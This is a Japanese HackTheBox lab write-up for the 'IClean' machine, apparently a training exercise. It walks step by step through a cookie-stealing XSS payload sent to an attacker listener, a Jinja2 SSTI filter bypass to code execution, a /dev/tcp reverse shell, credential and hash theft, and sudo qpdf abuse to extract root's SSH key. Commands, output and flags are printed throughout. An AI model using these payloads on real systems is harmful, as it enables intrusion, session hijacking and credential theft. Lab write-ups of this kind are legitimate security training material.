HackTheBox: IClean — 手動攻略レポート
Nmap
22/80
→22/80
capiclean.htb
→XSS
/sendMessage
→/sendMessage
SSTI
/QRGenerator
→/QRGenerator
DB hash
consuela
→consuela
user.txt
→sudo qpdf
→root.txt
Phase 1
偵察: 22/80 と capiclean.htb
Nmap
実行コマンド
nmap -sC -sV -Pn 10.129.46.123
実行結果
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 80/tcp open http Apache httpd 2.4.52 (Ubuntu) |_http-title: Site does not have a title (text/html).
HTTPリダイレクト確認
実行コマンド
curl -s -i http://10.129.46.123/
実行結果
HTTP/1.1 200 OK Server: Apache/2.4.52 (Ubuntu) <meta http-equiv="refresh" content="0;url=http://capiclean.htb"> 追加: 10.129.46.123 capiclean.htb
IP直アクセスは
capiclean.htb へ誘導するため、hosts登録後にWebを調査する。Phase 2
XSS: 管理者Cookieの窃取
Get a QuoteフォームへXSSを送信
実行コマンド
python3 -m http.server 8093 curl -s -X POST http://capiclean.htb/sendMessage --data-urlencode 'service=<img src=1 onerror=this.src="http://10.10.15.201:8093/?"+document.cookie;>' --data-urlencode 'email=test@capiclean.htb'
実行結果
GET /?session=<admin-session-cookie> HTTP/1.1 Host: 10.10.15.201:8093 管理者Botが quote request を閲覧し、session Cookie が攻撃者側へ送信された。
Phase 3
SSTI: QRGeneratorからwww-data RCE
SSTIの成立確認
実行コマンド
curl -s -H "Cookie: session=<admin-session-cookie>" -X POST http://capiclean.htb/QRGenerator --data-urlencode invoice_id= --data-urlencode form_type=scannable_invoice --data-urlencode qr_link="{{7*7}}"実行結果
<img src="data:image/png;base64,49" alt="QR Code"> Jinja2式が評価され、49が反映された。
ダブルアンダースコアフィルタをattrで回避
実行コマンド
curl -s -H "Cookie: session=<admin-session-cookie>" -X POST http://capiclean.htb/QRGenerator --data-urlencode invoice_id= --data-urlencode form_type=scannable_invoice --data-urlencode 'qr_link={{(''|attr(["_"*2,"class","_"*2]|join)|attr(["_"*2,"base","_"*2]|join)|attr(["_"*2,"subclasses","_"*2]|join)())[365]("id",shell=True,stdout=-1).communicate()}}'実行結果
<img src="data:image/png;base64,(b'uid=33(www-data) gid=33(www-data) groups=33(www-data)\n', None)" alt="QR Code"> subprocess.Popen はこの環境では index=365。www-data としてコマンド実行できた。
リバースシェル取得
実行コマンド
nc -lvnp 4444 # 別端末から、Base64化した /bin/bash -i >& /dev/tcp/10.10.15.201/4444 0>&1 をSSTIで実行
実行結果
connect to [10.10.15.201] from (UNKNOWN) [10.129.46.123] www-data@iclean:/opt/app$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Phase 4
DB認証情報と user.txt
app.pyからDB接続情報を取得
実行コマンド
cat /opt/app/app.py | grep -A6 db_config
実行結果
db_config = {
'host': '127.0.0.1',
'user': 'iclean',
'password': 'pxCsmnGLckUb',
'database': 'capiclean'
}usersテーブルからconsuelaハッシュを取得
実行コマンド
mysql -h 127.0.0.1 -u iclean -ppxCsmnGLckUb -D capiclean -N -B -e 'select username,password from users'
実行結果
admin 2ae316f10d49222f369139ce899e414e57ed9e339bb75457446f2ba8628a6e51 consuela 0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa
SHA-256ハッシュをクラックしSSHログイン
実行コマンド
hashcat -m 1400 ic_hash.txt /usr/share/wordlists/rockyou.txt --show sshpass -p 'simple and clean' ssh consuela@10.129.46.123 'cat ~/user.txt'
実行結果
0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa:simple and clean e273e57bab3cc865ba355ca628c2fc4c
user.txt
e273e57bab3cc865ba355ca628c2fc4c
Phase 5
sudo qpdf によるroot権限取得
sudo権限確認
実行コマンド
sshpass -p 'simple and clean' ssh consuela@10.129.46.123 'sudo -l'
実行結果
User consuela may run the following commands on iclean:
(ALL) /usr/bin/qpdfqpdf の
--add-attachment は任意ファイルをPDFへ添付できる。sudoで実行できるため、rootしか読めないファイルをPDF内に埋め込ませられる。root秘密鍵をPDFへ添付して抽出
実行コマンド
convert -size 595x842 xc:white -gravity center -annotate 0 'This is a dummy PDF' ic_dummy.pdf sshpass -p 'simple and clean' scp ic_dummy.pdf consuela@10.129.46.123:/tmp/dummy.pdf sshpass -p 'simple and clean' ssh consuela@10.129.46.123 "printf '%s\n' 'simple and clean' | sudo -S -p '' /usr/bin/qpdf /tmp/dummy.pdf --add-attachment /root/.ssh/id_rsa -- /tmp/root_key.pdf" sshpass -p 'simple and clean' ssh consuela@10.129.46.123 'qpdf /tmp/root_key.pdf --show-attachment=id_rsa' > ic_root_id_rsa chmod 600 ic_root_id_rsa
実行結果
-----BEGIN OPENSSH PRIVATE KEY----- ... -----END OPENSSH PRIVATE KEY----- root のSSH秘密鍵をPDF添付から抽出できた。
root SSHでroot.txt取得
実行コマンド
ssh -i ic_root_id_rsa -o StrictHostKeyChecking=no root@10.129.46.123 'cat /root/root.txt'
実行結果
f905a20e787d98479cf8655e8d14aeb9
root.txt
f905a20e787d98479cf8655e8d14aeb9
Summary
攻略サマリー
| 項目 | 内容 |
|---|---|
| Initial Access | /sendMessage の保存型XSSで管理者Cookieを窃取。 |
| RCE | 管理者Cookieで /QRGenerator を使い、Jinja2 SSTIと attr() バイパスで subprocess.Popen を呼び出す。 |
| User | /opt/app/app.py のDB認証情報から consuela のSHA-256ハッシュを取得し、simple and clean にクラック。 |
| Privilege Escalation | sudo /usr/bin/qpdf の添付機能で /root/.ssh/id_rsa をPDFへ埋め込み、抽出した鍵でrootログイン。 |
| Flags | user.txt = e273e57bab3cc865ba355ca628c2fc4croot.txt = f905a20e787d98479cf8655e8d14aeb9 |

